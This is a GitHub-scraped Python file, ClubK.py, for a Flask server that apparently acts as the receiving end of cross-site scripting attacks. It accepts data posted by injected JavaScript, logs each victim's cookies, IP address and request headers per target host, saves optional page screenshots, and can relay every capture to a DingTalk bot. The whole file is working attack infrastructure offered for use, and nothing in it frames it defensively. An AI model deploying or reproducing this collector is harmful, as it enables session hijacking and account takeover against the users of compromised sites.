-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathClubK.py
182 lines (149 loc) · 6.45 KB
/
ClubK.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
# -*- coding: UTF-8 -*-
# @Project :ClubK
# @File :ClubK.py
# Author :0xsdeo
# Date :2024/9/27 23:16
import io
import os
import time
import json
import base64
import argparse
from gevent import pywsgi, monkey
monkey.patch_all()
from flask import *
from flask_cors import CORS
from PIL import Image, UnidentifiedImageError
from config import crt, key, generate_js
from dingtalk_bot import bot
async def custom_js(data, ip: str, header: str, host, url=''):
global ding
global clear
get_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
delhttp = host.index("/") + 2
hostname = host[delhttp:]
if hostname.find(":") != -1:
delport = hostname.find(":")
else:
delport = len(hostname)
hostname = hostname[:delport]
if ding:
bot(get_time + '\n' + 'HOST:' + host + (url if url == '' else f"\n请求url:{url}") + '\nip:' + ip + '\n' + 'data:' + data + '\n\n' + 'Headers:\n' + header + '\n')
header = header.replace("\n", "")
if os.path.isdir(f"{os.getcwd()}/cookies"):
with open(f"cookies/{hostname}.txt", "a", encoding="utf-8") as f:
f.write(
get_time + '\n' + 'HOST:' + host + (url if url == '' else f"\n请求url:{url}") + '\nip:' + ip + '\n' + 'data:' + data + '\n\n' + 'Headers:\n' + header + '\n')
else:
os.mkdir(f"{os.getcwd()}/cookies")
with open(f"cookies/{hostname}.txt", "a", encoding="utf-8") as f:
f.write(
get_time + '\n' + 'HOST:' + host + (url if url == '' else f"\n请求url:{url}") + '\nip:' + ip + '\n' + 'data:' + data + '\n\n' + 'Headers:\n' + header + '\n')
if clear:
if not ding:
print(">>>服务端关闭成功")
exit()
else:
bot("服务端已关闭")
print(">>>服务端关闭成功")
exit()
async def save_data(data: dict, ip: str, header: str):
global ding
global screen
global clear
try:
if not screen:
screenshot_state = ""
elif "image" in data:
comma_index = data['image'].index(',')
image_data = base64.b64decode(data['image'][comma_index + 1:])
image = Image.open(io.BytesIO(image_data))
save_png_time = str(round(time.time()))
image_path = f"cookies/{data['hostname']}/{save_png_time}.jpg"
if os.path.isdir(f"cookies/{data['hostname']}"):
image.save(image_path)
else:
os.makedirs(f"cookies/{data['hostname']}")
image.save(image_path)
screenshot_state = f"\n截图已保存在/{image_path}"
else:
screenshot_state = "\n客户端截图失败"
except UnidentifiedImageError:
screenshot_state = f"\n客户端截图失败,截图返回内容为{data['image']},这可能是由于该请求并未渲染在页面上而导致的截图失败。"
except ValueError:
screenshot_state = "\n客户端截图失败"
except:
screenshot_state = "\n本地保存图片失败"
get_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
if ding:
bot(get_time + '\n' + 'HOST:' + data['host'] + '\nip:' + ip + '\nCookie: ' + data[
'cookie'] + screenshot_state + '\n\n' + 'Headers:\n' + header + '\n')
header = header.replace("\n", "")
if os.path.isdir(f"{os.getcwd()}/cookies"):
with open(f"cookies/{data['hostname']}.txt", "a", encoding="utf-8") as f:
f.write(get_time + '\n' + 'HOST:' + data['host'] + '\nip:' + ip + '\nCookie: ' + data[
'cookie'] + screenshot_state + '\n\n' + 'Headers:\n' + header + '\n')
else:
os.mkdir(f"{os.getcwd()}/cookies")
with open(f"cookies/{data['hostname']}.txt", "a", encoding="utf-8") as f:
f.write(get_time + '\n' + 'HOST:' + data['host'] + '\nip:' + ip + '\nCookie: ' + data[
'cookie'] + screenshot_state + '\n\n' + 'Headers:\n' + header + '\n')
if clear:
if not ding:
print(">>>服务端关闭成功")
exit()
else:
bot("服务端已关闭")
print(">>>服务端关闭成功")
exit()
app = Flask(__name__)
CORS(app, resources=r'/*')
@app.route('/request', methods=['POST', 'GET'])
async def get_cookie():
request_ip = request.remote_addr
if js:
host = dict(request.headers)['Origin']
await custom_js(request.get_data().decode(), request_ip, str(request.headers), host)
return "success"
data = json.loads(request.get_data().decode())
await save_data(data, request_ip, str(request.headers))
return "success"
@app.errorhandler(404)
async def page_not_found(e):
request_url = request.url
request_ip = request.remote_addr
host = dict(request.headers)['Origin']
await custom_js(request.get_data().decode(), request_ip, str(request.headers), host, request_url)
return "success"
if __name__ == "__main__":
print(r""" _____ _ ___ _____ _ _
/ ___| | | / | | _ \ | | / /
| | | | / /| | | |_| | | |/ /
| | | | / / | | | _ { | |\ \
| |___ | |___ / / | | | |_| | | | \ \
\_____| |_____| /_/ |_| |_____/ |_| \_\ """)
arg = argparse.ArgumentParser()
arg.add_argument('-ssl', action="store_true", help="启用https,可选项")
arg.add_argument('-d', '--ding', action="store_true", help="启用钉钉机器人,可选项")
arg.add_argument('-js', action="store_true", help="配置自定义JS,可选项")
arg.add_argument('--screen', action="store_true", help="启用页面截图,可选项")
arg.add_argument('--clear', action="store_true", help="启用接受到数据后立即关闭服务端,可选项")
arg = arg.parse_args()
ding = arg.ding
screen = arg.screen
js = arg.js
clear = arg.clear
if arg.screen and arg.js:
raise ValueError("不支持自定义JS再指定--screen进行页面截图")
generate_js(screen) if screen else generate_js()
if arg.ssl:
# ssl = (crt, key)
server = pywsgi.WSGIServer(('0.0.0.0', 5000), app, keyfile=key, certfile=crt)
print(">>>服务端开启成功")
server.serve_forever()
# app.run("0.0.0.0", port=5000, ssl_context=ssl)
else:
server = pywsgi.WSGIServer(('0.0.0.0', 5000), app)
print(">>>服务端开启成功")
server.serve_forever()
# app.run("0.0.0.0", port=5000)